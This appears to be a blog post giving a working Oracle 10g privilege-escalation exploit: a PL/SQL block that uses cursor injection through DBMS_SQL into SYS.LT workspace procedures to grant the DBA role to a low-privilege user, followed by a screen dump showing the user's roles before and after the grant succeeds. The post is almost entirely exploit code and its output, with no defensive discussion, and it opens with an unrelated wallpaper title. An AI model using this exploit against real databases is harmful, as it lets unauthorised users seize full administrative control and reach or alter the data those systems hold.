Vodafone zoozooo wallpapers


ORACLE 10g Exploit Example


This is based on cursor injection and does not need create function
privileges:

DECLARE
D NUMBER;
BEGIN
D := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute immediate
 ''grant dba to scott'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
end;

#----------screen dump--------------------------------------------#
SQL> select * from user_role_privs;

USERNAME                    GRANTED_ROLE                   ADM DEF OS_
--------------------------- ------------------------------ --- --- ---
SCOTT                       CONNECT                        NO  YES NO
SCOTT                       EXECUTE_CATALOG_ROLE           NO  YES NO
SCOTT                       RESOURCE                       NO  YES NO

SQL> DECLARE
2  D NUMBER;
3  BEGIN
4  D := DBMS_SQL.OPEN_CURSOR;
5  DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction;
begin execute imme
diate ''grant dba to scott'';commit;end;',0);
6  SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
7  SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
8  end;
9
10
11  /
DECLARE
*
ERROR at line 1:
ORA-01403: no data found
ORA-06512: at "SYS.LT", line 6118
ORA-06512: at "SYS.LT", line 6087
ORA-06512: at line 7

SQL> select * from user_role_privs;

USERNAME                    GRANTED_ROLE                   ADM DEF OS_
--------------------------- ------------------------------ --- --- ---
SCOTT                       CONNECT                        NO  YES NO
SCOTT                       DBA                            NO  YES NO
SCOTT                       EXECUTE_CATALOG_ROLE           NO  YES NO
SCOTT                       RESOURCE                       NO  YES NO
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: